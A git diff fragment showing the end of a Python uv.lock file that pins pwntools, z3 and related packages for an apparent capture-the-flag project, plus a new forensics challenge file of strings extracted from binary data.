+ { url = "https://files.pythonhosted.org/packages/7c/e4/56027c4a6b4ae70ca9de302488c5ca95ad4a39e190093d6c1a8ace08341b/requests-2.32.4-py3-none-any.whl", hash = "sha256:27babd3cda2a6d50b30443204ee89830707d396671944c998b5975b031ac2b2c", size = 64847, upload-time = "2025-06-09T16:43:05.728Z" },
+]
+
+[[package]]
+name = "ropgadget"
+version = "7.6"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "capstone" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/b5/ad/7c6c9078c143d5cb7965f2d06a3aadc5f9e638276dd86e57ce8c9a30457c/ropgadget-7.6.tar.gz", hash = "sha256:8883c54e4627073a2ce7cd8adbaf7ef72478442c0a5da1308c3c2e37641174c3", size = 25848, upload-time = "2025-01-28T19:34:00.129Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/5d/de/a51149ceea68dc0abbf62b9381ebe87db493a19192d563fe77bfdad5fb02/ROPGadget-7.6-py3-none-any.whl", hash = "sha256:749176f0d210498869ac849a1414912488c0c8c4853b823d22888e2b49a67391", size = 32397, upload-time = "2025-01-28T19:33:58.788Z" },
+]
+
+[[package]]
+name = "rpyc"
+version = "6.0.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "plumbum" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/8b/e7/1c17410673b634f4658bb5d2232d0c4507432a97508b2c6708e59481644a/rpyc-6.0.2.tar.gz", hash = "sha256:8e780a6a71b842128a80a337c64adfb6f919014e069951832161c9efc630c93b", size = 62321, upload-time = "2025-04-18T16:33:21.693Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/3f/99/2e119d541d596daea39643eb9312b47c7847383951300f889166938035b1/rpyc-6.0.2-py3-none-any.whl", hash = "sha256:8072308ad30725bc281c42c011fc8c922be15f3eeda6eafb2917cafe1b6f00ec", size = 74768, upload-time = "2025-04-18T16:33:20.147Z" },
+]
+
+[[package]]
+name = "six"
+version = "1.17.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81", size = 34031, upload-time = "2024-12-04T17:35:28.174Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274", size = 11050, upload-time = "2024-12-04T17:35:26.475Z" },
+]
+
+[[package]]
+name = "sortedcontainers"
+version = "2.4.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/e8/c4/ba2f8066cceb6f23394729afe52f3bf7adec04bf9ed2c820b39e19299111/sortedcontainers-2.4.0.tar.gz", hash = "sha256:25caa5a06cc30b6b83d11423433f65d1f9d76c4c6a0c90e3379eaa43b9bfdb88", size = 30594, upload-time = "2021-05-16T22:03:42.897Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/32/46/9cb0e58b2deb7f82b84065f37f3bffeb12413f947f9388e4cac22c4621ce/sortedcontainers-2.4.0-py2.py3-none-any.whl", hash = "sha256:a163dcaede0f1c021485e957a39245190e74249897e2ae4b2aa38595db237ee0", size = 29575, upload-time = "2021-05-16T22:03:41.177Z" },
+]
+
+[[package]]
+name = "the-old-way"
+version = "0.1.0"
+source = { virtual = "." }
+dependencies = [
+ { name = "pwntools" },
+ { name = "z3" },
+ { name = "z3-solver" },
+]
+
+[package.metadata]
+requires-dist = [
+ { name = "pwntools", specifier = ">=4.14.1" },
+ { name = "z3", specifier = ">=0.2.0" },
+ { name = "z3-solver", specifier = ">=4.15.1.0" },
+]
+
+[[package]]
+name = "unicorn"
+version = "2.1.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/90/12/a10f01a3e1dafcd21e2eb0c0d99bb51d5bda1d3fee20047cb2a4b2de6285/unicorn-2.1.2.tar.gz", hash = "sha256:e4a9d671bdea71806f29a396734cfb83317f82943b52d0001d3bca1dcbaee893", size = 2858907, upload-time = "2025-02-13T15:32:07.433Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/40/64/5b37c21ff413341ca00236f2ff1c712296232239995949f4ca02c10ce357/unicorn-2.1.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:eb018793a60151f8b1682d80fd6e60cd20407be25f88b25612006ab344c2c621", size = 12885488, upload-time = "2025-02-13T15:28:56.54Z" },
+ { url = "https://files.pythonhosted.org/packages/2e/11/e3b8589df44f6d637a2839d7747ab2da2e406cd8624d8892199fb987654a/unicorn-2.1.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8aab7f7cc2570585ee37335af51dddf0992629c36983e205a924e459cccb993d", size = 15286698, upload-time = "2025-02-13T15:29:00.017Z" },
+ { url = "https://files.pythonhosted.org/packages/fc/33/ad3727494c2342b664e92dfeca6a2739be2a40b3c9842afab2216df41659/unicorn-2.1.2-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2a763d3dc0afea744d0275293c51c377570354e475a6cfb79e8a8fbc4c3b4c17", size = 19738716, upload-time = "2025-02-13T15:29:03.178Z" },
+ { url = "https://files.pythonhosted.org/packages/5b/dd/60d3453364ccaa08da5084cfffb3f8e32abb69289d813117035cce59e46b/unicorn-2.1.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6a3f886db8d977ae4b36810e5fe3dd0d2ba2151d030e64db47ae2c5f1115efa8", size = 16341447, upload-time = "2025-02-13T15:29:07.261Z" },
+ { url = "https://files.pythonhosted.org/packages/44/ed/d78471db33f82dd9c5e5715c15239dd8b7e531911d55709e2337c910194d/unicorn-2.1.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:31a506cd0f3a65e69219f06bf8744520334ff12219905c00779bb93307c50e03", size = 15825061, upload-time = "2025-02-13T15:29:10.229Z" },
+ { url = "https://files.pythonhosted.org/packages/db/77/6cab866f23f1ab5b03b18303de06ddb7bc14009e5bda7131a5b33715074e/unicorn-2.1.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:c0148d061466a9f69bbd1ae5bf0087696a405c05471693c5f20e98cf81cdb086", size = 20386199, upload-time = "2025-02-13T15:29:14.44Z" },
+ { url = "https://files.pythonhosted.org/packages/e5/5d/f56e0e140203ddc9384d311001595d55800bd59e1aa51ef5e4523bca73e4/unicorn-2.1.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:7c7cb06d93844c69126c07f77ce34cd51ce63c352b5d0cfdc331b522eef2c0e3", size = 16670403, upload-time = "2025-02-13T15:29:19.32Z" },
+ { url = "https://files.pythonhosted.org/packages/a5/71/6422b3e260e3463538fa1434e82d56fc2913ab6eabebfafee93b302a0eb7/unicorn-2.1.2-cp312-cp312-win32.whl", hash = "sha256:1f324c54fdc132e69e4cbb14c2e256bcc9eba67891561f06ca90db89511a10d2", size = 11731856, upload-time = "2025-02-13T15:29:22.143Z" },
+ { url = "https://files.pythonhosted.org/packages/fa/1b/b7b70183ad0559ce20818a5adf9eeaf289afcef7f371df4c549cd0ff1c4d/unicorn-2.1.2-cp312-cp312-win_amd64.whl", hash = "sha256:04133be6fd0b80301f2bd44fcc18840db0ab44753a7fe2185280c437f97bb87c", size = 15859730, upload-time = "2025-02-13T15:29:26.053Z" },
+ { url = "https://files.pythonhosted.org/packages/28/5e/6d2f00bbba51fa4bf6ebbeda85a4cc114ddbce54fc6a43990e52dcf85a25/unicorn-2.1.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:32727577224f3aea7a2f2452f5c775e89427518fc2de15816a0f7f126853911f", size = 12885661, upload-time = "2025-02-13T15:29:29.192Z" },
+ { url = "https://files.pythonhosted.org/packages/28/74/757a6d1484fc698b65ae88fd3832662c03aa9b91dfe6f6c681185bed7e8a/unicorn-2.1.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:31a6778397ca00cec40ae000075bfe7e7335186c4421d10c0a7b41725e5c118b", size = 15286663, upload-time = "2025-02-13T15:29:32.615Z" },
+ { url = "https://files.pythonhosted.org/packages/24/bf/d97ee3143ae10286869f86ffd910e857476ed8e94ea57de7d32b41e4aa46/unicorn-2.1.2-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:99c343f74676494b61d4e3307db28ba055707c620eac0643739cd5268e5d4559", size = 19738521, upload-time = "2025-02-13T15:29:36.471Z" },
+ { url = "https://files.pythonhosted.org/packages/57/88/bc15c97ce48e83b330c457d71d467d7b0e59c9e4debcdca9f0caefc676e1/unicorn-2.1.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9c6a0bdfc38266600eacee2f264202fad1bff8590ad36d187b47033a782f12dc", size = 16341494, upload-time = "2025-02-13T15:29:39.758Z" },
+ { url = "https://files.pythonhosted.org/packages/9b/f3/47829c17bae2b7f47213e43d48d5d9787d5d23e25eca1c0dc1898e514141/unicorn-2.1.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:8d61c0724780e021a6f3beee34c7f747d2eca37dbbd5e1e4b201fa50b86191fc", size = 15825061, upload-time = "2025-02-13T15:29:43.447Z" },
+ { url = "https://files.pythonhosted.org/packages/89/8d/07b23a82f5966007927b0790fe59b450d6b57308450d7c2c088585472852/unicorn-2.1.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b53e726c95a452745718ba6611b96c4031472e4d3f4aa8bb8e6deab882783719", size = 20386198, upload-time = "2025-02-13T15:29:46.575Z" },
+ { url = "https://files.pythonhosted.org/packages/60/bd/3635d8f2336dbba5ece77f2be7abc4585676bc3aea3e85e81721e14f529a/unicorn-2.1.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51ddac19d17aa7a220d2760898e38286461f4120d4372578ffec14e198093a7a", size = 16670404, upload-time = "2025-02-13T15:29:50.032Z" },
+ { url = "https://files.pythonhosted.org/packages/7b/54/098926e287744ad8013acb3c97071fce9681befae02310b14f02913450d0/unicorn-2.1.2-cp313-cp313-win32.whl", hash = "sha256:7f0436c3e6e982bc2a00cb66297c84f60f3c0167360fb68d5f17c14e6cc0b200", size = 11731855, upload-time = "2025-02-13T15:29:53.035Z" },
+ { url = "https://files.pythonhosted.org/packages/0a/13/dcace4588089ae3d5182c83d18f3c0c3f0370ddbc1a63f75902802f547e7/unicorn-2.1.2-cp313-cp313-win_amd64.whl", hash = "sha256:9e8a56ea10b019f0ac24310d3f5c43d55b9916cffbfa8634aae8b26b93d3de59", size = 15859731, upload-time = "2025-02-13T15:29:55.76Z" },
+]
+
+[[package]]
+name = "unix-ar"
+version = "0.2.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/3e/37/65cb206bd7110887248fe041e00e61124abdcd23de8f19418898a51363fc/unix_ar-0.2.1.tar.gz", hash = "sha256:bf9328ec70fa3a82f94dc26dc125264dbf62a2d8ffb1a3c8c8a8230175e72c4e", size = 7441, upload-time = "2019-06-12T17:21:23.99Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/b6/a1/847695f96c37cdd57233e6e0f76c4637332acb06a6e0258160f0062c1a85/unix_ar-0.2.1-py2.py3-none-any.whl", hash = "sha256:2acb718bc1308bf80e5b9da2614d8242cc2fe3be4cd8b2fd4719bce189aafcf1", size = 6529, upload-time = "2019-06-12T17:21:22.314Z" },
+]
+
+[[package]]
+name = "urllib3"
+version = "2.5.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/15/22/9ee70a2574a4f4599c47dd506532914ce044817c7752a79b6a51286319bc/urllib3-2.5.0.tar.gz", hash = "sha256:3fc47733c7e419d4bc3f6b3dc2b4f890bb743906a30d56ba4a5bfa4bbff92760", size = 393185, upload-time = "2025-06-18T14:07:41.644Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/a7/c2/fe1e52489ae3122415c51f387e221dd0773709bad6c6cdaa599e8a2c5185/urllib3-2.5.0-py3-none-any.whl", hash = "sha256:e6b01673c0fa6a13e374b50871808eb3bf7046c4b125b216f6bf1cc604cff0dc", size = 129795, upload-time = "2025-06-18T14:07:40.39Z" },
+]
+
+[[package]]
+name = "z3"
+version = "0.2.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "boto" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/bc/00/c1f1dfb34f5975c0d5f03e108b0669246026b83512b755e9bc725638219d/z3-0.2.0.tar.gz", hash = "sha256:34819e964d71e1474f933b34b9e65f0d021ccfc9d9edbbded54d54c1a9352b90", size = 24593, upload-time = "2018-03-06T11:01:04.222Z" }
+
+[[package]]
+name = "z3-solver"
+version = "4.15.1.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/a1/96/c5481ef8e1fb64f398cb81caca0a808b4eee845091d41fb6e72bf06a9ee2/z3_solver-4.15.1.0.tar.gz", hash = "sha256:e8522602a76f6e45c45e78eec7bff5cbaa44fa51e94dce0d5432b0f9ab3f7064", size = 5054686, upload-time = "2025-06-08T18:54:41.118Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/bc/8b/e47ed5d6e3b565e400f2948549a9d633bdeea0eb081ddb3047bd04266d92/z3_solver-4.15.1.0-py3-none-macosx_13_0_arm64.whl", hash = "sha256:4fdf8675500f32b03114670a8c734fa9fc9f8c9bd1047d575449ca69fa397ac5", size = 37542839, upload-time = "2025-06-08T18:54:25.435Z" },
+ { url = "https://files.pythonhosted.org/packages/f0/10/b9828d71ac9a65f9ddf75a94b95f269c063dc052ccb200ecfcd81cf5557a/z3_solver-4.15.1.0-py3-none-macosx_13_0_x86_64.whl", hash = "sha256:878814bef41ca3d9957923d07fc3084967d14dff1a3c039d00f76324461bb11b", size = 40356020, upload-time = "2025-06-08T18:54:28.354Z" },
+ { url = "https://files.pythonhosted.org/packages/96/95/b37b98fa23811559987e8403729093b8fae1d0c5321286667768956e31da/z3_solver-4.15.1.0-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f1d15073c78d793be56ff334f3d4770fe66d57808fdad2780e25c936d8fab0a", size = 29530873, upload-time = "2025-06-08T18:54:31.026Z" },
+ { url = "https://files.pythonhosted.org/packages/54/c9/117858dc7396435026988fb3ab59c6634887488511cc1014007a81fa3b0e/z3_solver-4.15.1.0-py3-none-manylinux_2_34_aarch64.whl", hash = "sha256:1ac01865e9b07e35b8856157fa95259b1741529c05ef019f599675c7b0caab42", size = 27517613, upload-time = "2025-06-08T18:54:33.89Z" },
+ { url = "https://files.pythonhosted.org/packages/32/c2/1cb7df76d243f33f99416e9fcfefc76195cf9305e23fc9296edf6d5fb6be/z3_solver-4.15.1.0-py3-none-win32.whl", hash = "sha256:0b41c73ed6ea30514210853e31b432c3654b36e7e7a74db23906ddba345cb654", size = 13363408, upload-time = "2025-06-08T18:54:36.521Z" },
+ { url = "https://files.pythonhosted.org/packages/28/ee/110ee33282331c5dab4e63bb570b345d85b2ed5ee1d30a54a987903e22fe/z3_solver-4.15.1.0-py3-none-win_amd64.whl", hash = "sha256:1d858c5b7ecd60788576ec6ae62cc7b9ae142e9ed38dff3dfd415e2fe230c712", size = 16428380, upload-time = "2025-06-08T18:54:38.872Z" },
+]
+
+[[package]]
+name = "zstandard"
+version = "0.23.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "cffi", marker = "platform_python_implementation == 'PyPy'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/ed/f6/2ac0287b442160a89d726b17a9184a4c615bb5237db763791a7fd16d9df1/zstandard-0.23.0.tar.gz", hash = "sha256:b2d8c62d08e7255f68f7a740bae85b3c9b8e5466baa9cbf7f57f1cde0ac6bc09", size = 681701, upload-time = "2024-07-15T00:18:06.141Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/7b/83/f23338c963bd9de687d47bf32efe9fd30164e722ba27fb59df33e6b1719b/zstandard-0.23.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:b4567955a6bc1b20e9c31612e615af6b53733491aeaa19a6b3b37f3b65477094", size = 788713, upload-time = "2024-07-15T00:15:35.815Z" },
+ { url = "https://files.pythonhosted.org/packages/5b/b3/1a028f6750fd9227ee0b937a278a434ab7f7fdc3066c3173f64366fe2466/zstandard-0.23.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1e172f57cd78c20f13a3415cc8dfe24bf388614324d25539146594c16d78fcc8", size = 633459, upload-time = "2024-07-15T00:15:37.995Z" },
+ { url = "https://files.pythonhosted.org/packages/26/af/36d89aae0c1f95a0a98e50711bc5d92c144939efc1f81a2fcd3e78d7f4c1/zstandard-0.23.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b0e166f698c5a3e914947388c162be2583e0c638a4703fc6a543e23a88dea3c1", size = 4945707, upload-time = "2024-07-15T00:15:39.872Z" },
+ { url = "https://files.pythonhosted.org/packages/cd/2e/2051f5c772f4dfc0aae3741d5fc72c3dcfe3aaeb461cc231668a4db1ce14/zstandard-0.23.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:12a289832e520c6bd4dcaad68e944b86da3bad0d339ef7989fb7e88f92e96072", size = 5306545, upload-time = "2024-07-15T00:15:41.75Z" },
+ { url = "https://files.pythonhosted.org/packages/0a/9e/a11c97b087f89cab030fa71206963090d2fecd8eb83e67bb8f3ffb84c024/zstandard-0.23.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d50d31bfedd53a928fed6707b15a8dbeef011bb6366297cc435accc888b27c20", size = 5337533, upload-time = "2024-07-15T00:15:44.114Z" },
+ { url = "https://files.pythonhosted.org/packages/fc/79/edeb217c57fe1bf16d890aa91a1c2c96b28c07b46afed54a5dcf310c3f6f/zstandard-0.23.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:72c68dda124a1a138340fb62fa21b9bf4848437d9ca60bd35db36f2d3345f373", size = 5436510, upload-time = "2024-07-15T00:15:46.509Z" },
+ { url = "https://files.pythonhosted.org/packages/81/4f/c21383d97cb7a422ddf1ae824b53ce4b51063d0eeb2afa757eb40804a8ef/zstandard-0.23.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:53dd9d5e3d29f95acd5de6802e909ada8d8d8cfa37a3ac64836f3bc4bc5512db", size = 4859973, upload-time = "2024-07-15T00:15:49.939Z" },
+ { url = "https://files.pythonhosted.org/packages/ab/15/08d22e87753304405ccac8be2493a495f529edd81d39a0870621462276ef/zstandard-0.23.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:6a41c120c3dbc0d81a8e8adc73312d668cd34acd7725f036992b1b72d22c1772", size = 4936968, upload-time = "2024-07-15T00:15:52.025Z" },
+ { url = "https://files.pythonhosted.org/packages/eb/fa/f3670a597949fe7dcf38119a39f7da49a8a84a6f0b1a2e46b2f71a0ab83f/zstandard-0.23.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:40b33d93c6eddf02d2c19f5773196068d875c41ca25730e8288e9b672897c105", size = 5467179, upload-time = "2024-07-15T00:15:54.971Z" },
+ { url = "https://files.pythonhosted.org/packages/4e/a9/dad2ab22020211e380adc477a1dbf9f109b1f8d94c614944843e20dc2a99/zstandard-0.23.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:9206649ec587e6b02bd124fb7799b86cddec350f6f6c14bc82a2b70183e708ba", size = 4848577, upload-time = "2024-07-15T00:15:57.634Z" },
+ { url = "https://files.pythonhosted.org/packages/08/03/dd28b4484b0770f1e23478413e01bee476ae8227bbc81561f9c329e12564/zstandard-0.23.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:76e79bc28a65f467e0409098fa2c4376931fd3207fbeb6b956c7c476d53746dd", size = 4693899, upload-time = "2024-07-15T00:16:00.811Z" },
+ { url = "https://files.pythonhosted.org/packages/2b/64/3da7497eb635d025841e958bcd66a86117ae320c3b14b0ae86e9e8627518/zstandard-0.23.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:66b689c107857eceabf2cf3d3fc699c3c0fe8ccd18df2219d978c0283e4c508a", size = 5199964, upload-time = "2024-07-15T00:16:03.669Z" },
+ { url = "https://files.pythonhosted.org/packages/43/a4/d82decbab158a0e8a6ebb7fc98bc4d903266bce85b6e9aaedea1d288338c/zstandard-0.23.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:9c236e635582742fee16603042553d276cca506e824fa2e6489db04039521e90", size = 5655398, upload-time = "2024-07-15T00:16:06.694Z" },
+ { url = "https://files.pythonhosted.org/packages/f2/61/ac78a1263bc83a5cf29e7458b77a568eda5a8f81980691bbc6eb6a0d45cc/zstandard-0.23.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a8fffdbd9d1408006baaf02f1068d7dd1f016c6bcb7538682622c556e7b68e35", size = 5191313, upload-time = "2024-07-15T00:16:09.758Z" },
+ { url = "https://files.pythonhosted.org/packages/e7/54/967c478314e16af5baf849b6ee9d6ea724ae5b100eb506011f045d3d4e16/zstandard-0.23.0-cp312-cp312-win32.whl", hash = "sha256:dc1d33abb8a0d754ea4763bad944fd965d3d95b5baef6b121c0c9013eaf1907d", size = 430877, upload-time = "2024-07-15T00:16:11.758Z" },
+ { url = "https://files.pythonhosted.org/packages/75/37/872d74bd7739639c4553bf94c84af7d54d8211b626b352bc57f0fd8d1e3f/zstandard-0.23.0-cp312-cp312-win_amd64.whl", hash = "sha256:64585e1dba664dc67c7cdabd56c1e5685233fbb1fc1966cfba2a340ec0dfff7b", size = 495595, upload-time = "2024-07-15T00:16:13.731Z" },
+ { url = "https://files.pythonhosted.org/packages/80/f1/8386f3f7c10261fe85fbc2c012fdb3d4db793b921c9abcc995d8da1b7a80/zstandard-0.23.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:576856e8594e6649aee06ddbfc738fec6a834f7c85bf7cadd1c53d4a58186ef9", size = 788975, upload-time = "2024-07-15T00:16:16.005Z" },
+ { url = "https://files.pythonhosted.org/packages/16/e8/cbf01077550b3e5dc86089035ff8f6fbbb312bc0983757c2d1117ebba242/zstandard-0.23.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:38302b78a850ff82656beaddeb0bb989a0322a8bbb1bf1ab10c17506681d772a", size = 633448, upload-time = "2024-07-15T00:16:17.897Z" },
+ { url = "https://files.pythonhosted.org/packages/06/27/4a1b4c267c29a464a161aeb2589aff212b4db653a1d96bffe3598f3f0d22/zstandard-0.23.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d2240ddc86b74966c34554c49d00eaafa8200a18d3a5b6ffbf7da63b11d74ee2", size = 4945269, upload-time = "2024-07-15T00:16:20.136Z" },
+ { url = "https://files.pythonhosted.org/packages/7c/64/d99261cc57afd9ae65b707e38045ed8269fbdae73544fd2e4a4d50d0ed83/zstandard-0.23.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2ef230a8fd217a2015bc91b74f6b3b7d6522ba48be29ad4ea0ca3a3775bf7dd5", size = 5306228, upload-time = "2024-07-15T00:16:23.398Z" },
+ { url = "https://files.pythonhosted.org/packages/7a/cf/27b74c6f22541f0263016a0fd6369b1b7818941de639215c84e4e94b2a1c/zstandard-0.23.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:774d45b1fac1461f48698a9d4b5fa19a69d47ece02fa469825b442263f04021f", size = 5336891, upload-time = "2024-07-15T00:16:26.391Z" },
+ { url = "https://files.pythonhosted.org/packages/fa/18/89ac62eac46b69948bf35fcd90d37103f38722968e2981f752d69081ec4d/zstandard-0.23.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6f77fa49079891a4aab203d0b1744acc85577ed16d767b52fc089d83faf8d8ed", size = 5436310, upload-time = "2024-07-15T00:16:29.018Z" },
+ { url = "https://files.pythonhosted.org/packages/a8/a8/5ca5328ee568a873f5118d5b5f70d1f36c6387716efe2e369010289a5738/zstandard-0.23.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ac184f87ff521f4840e6ea0b10c0ec90c6b1dcd0bad2f1e4a9a1b4fa177982ea", size = 4859912, upload-time = "2024-07-15T00:16:31.871Z" },
+ { url = "https://files.pythonhosted.org/packages/ea/ca/3781059c95fd0868658b1cf0440edd832b942f84ae60685d0cfdb808bca1/zstandard-0.23.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:c363b53e257246a954ebc7c488304b5592b9c53fbe74d03bc1c64dda153fb847", size = 4936946, upload-time = "2024-07-15T00:16:34.593Z" },
+ { url = "https://files.pythonhosted.org/packages/ce/11/41a58986f809532742c2b832c53b74ba0e0a5dae7e8ab4642bf5876f35de/zstandard-0.23.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:e7792606d606c8df5277c32ccb58f29b9b8603bf83b48639b7aedf6df4fe8171", size = 5466994, upload-time = "2024-07-15T00:16:36.887Z" },
+ { url = "https://files.pythonhosted.org/packages/83/e3/97d84fe95edd38d7053af05159465d298c8b20cebe9ccb3d26783faa9094/zstandard-0.23.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a0817825b900fcd43ac5d05b8b3079937073d2b1ff9cf89427590718b70dd840", size = 4848681, upload-time = "2024-07-15T00:16:39.709Z" },
+ { url = "https://files.pythonhosted.org/packages/6e/99/cb1e63e931de15c88af26085e3f2d9af9ce53ccafac73b6e48418fd5a6e6/zstandard-0.23.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:9da6bc32faac9a293ddfdcb9108d4b20416219461e4ec64dfea8383cac186690", size = 4694239, upload-time = "2024-07-15T00:16:41.83Z" },
+ { url = "https://files.pythonhosted.org/packages/ab/50/b1e703016eebbc6501fc92f34db7b1c68e54e567ef39e6e59cf5fb6f2ec0/zstandard-0.23.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:fd7699e8fd9969f455ef2926221e0233f81a2542921471382e77a9e2f2b57f4b", size = 5200149, upload-time = "2024-07-15T00:16:44.287Z" },
+ { url = "https://files.pythonhosted.org/packages/aa/e0/932388630aaba70197c78bdb10cce2c91fae01a7e553b76ce85471aec690/zstandard-0.23.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:d477ed829077cd945b01fc3115edd132c47e6540ddcd96ca169facff28173057", size = 5655392, upload-time = "2024-07-15T00:16:46.423Z" },
+ { url = "https://files.pythonhosted.org/packages/02/90/2633473864f67a15526324b007a9f96c96f56d5f32ef2a56cc12f9548723/zstandard-0.23.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fa6ce8b52c5987b3e34d5674b0ab529a4602b632ebab0a93b07bfb4dfc8f8a33", size = 5191299, upload-time = "2024-07-15T00:16:49.053Z" },
+ { url = "https://files.pythonhosted.org/packages/b0/4c/315ca5c32da7e2dc3455f3b2caee5c8c2246074a61aac6ec3378a97b7136/zstandard-0.23.0-cp313-cp313-win32.whl", hash = "sha256:a9b07268d0c3ca5c170a385a0ab9fb7fdd9f5fd866be004c4ea39e44edce47dd", size = 430862, upload-time = "2024-07-15T00:16:51.003Z" },
+ { url = "https://files.pythonhosted.org/packages/a2/bf/c6aaba098e2d04781e8f4f7c0ba3c7aa73d00e4c436bcc0cf059a66691d1/zstandard-0.23.0-cp313-cp313-win_amd64.whl", hash = "sha256:f3513916e8c645d0610815c257cbfd3242adfd5c4cfa78be514e5a3ebb42a41b", size = 495578, upload-time = "2024-07-15T00:16:53.135Z" },
+]
diff --git a/2025/smiley/forensics/rorecovery12/extracted.txt b/2025/smiley/forensics/rorecovery12/extracted.txt
new file mode 100644
index 0000000..b6cd736
--- /dev/null
+++ b/2025/smiley/forensics/rorecovery12/extracted.txt
@@ -0,0 +1,7179 @@
+
+@Mb5
+#AZV
+GAs}
+@0!}`
+GAr
+@zlt
+w?a-u
+w? ue
+@p8(
+@tqP
+Y;|@
+y-AZq
+c/1A
+O[(A
+|A~*
+Y:?T
+!f@l
+N[(Am
+<)AH
+9Z@fp
+@(hV
+@0QX>
+~@I
+@8T'A
+nBc<
+A'!t@*h
+AX)g@fZ
+A5!4@w
+^[@X
+++`<
+YHb@
+A?v0
+u)a@
+G@|N
+YHb@}
+ \c>
+4j @ZzT
+P77>YI
+[{@,
+q'*g@
+pc@v
+b\[[@
+@0:>
+S0?n
+(Hb?
+w?,H
+_v @
+@/j7@
+A,v-
+Afp5
+?g4l
+b0SN>
+]@zV
+!pA<
+A+'!
+@Mb5
+q{Y_@d
+W@ov
+"Vv<
+@dFY
+o@|j
+A_H6
+A-dg
+@w`d@
+Dh@t
+@,-x
+k@b+
+}"$0
+1X9@
+1(hV
+@(hV
+@(hV
+1AJF
+sq?j
+AlPC
+K@`n
+J~40
+#A5Q
+:A?r
+:f A4
+@UBt@
+@0?x
+@>.P
+$&1Z
+4%bIq
+%&`$
+y-AVl
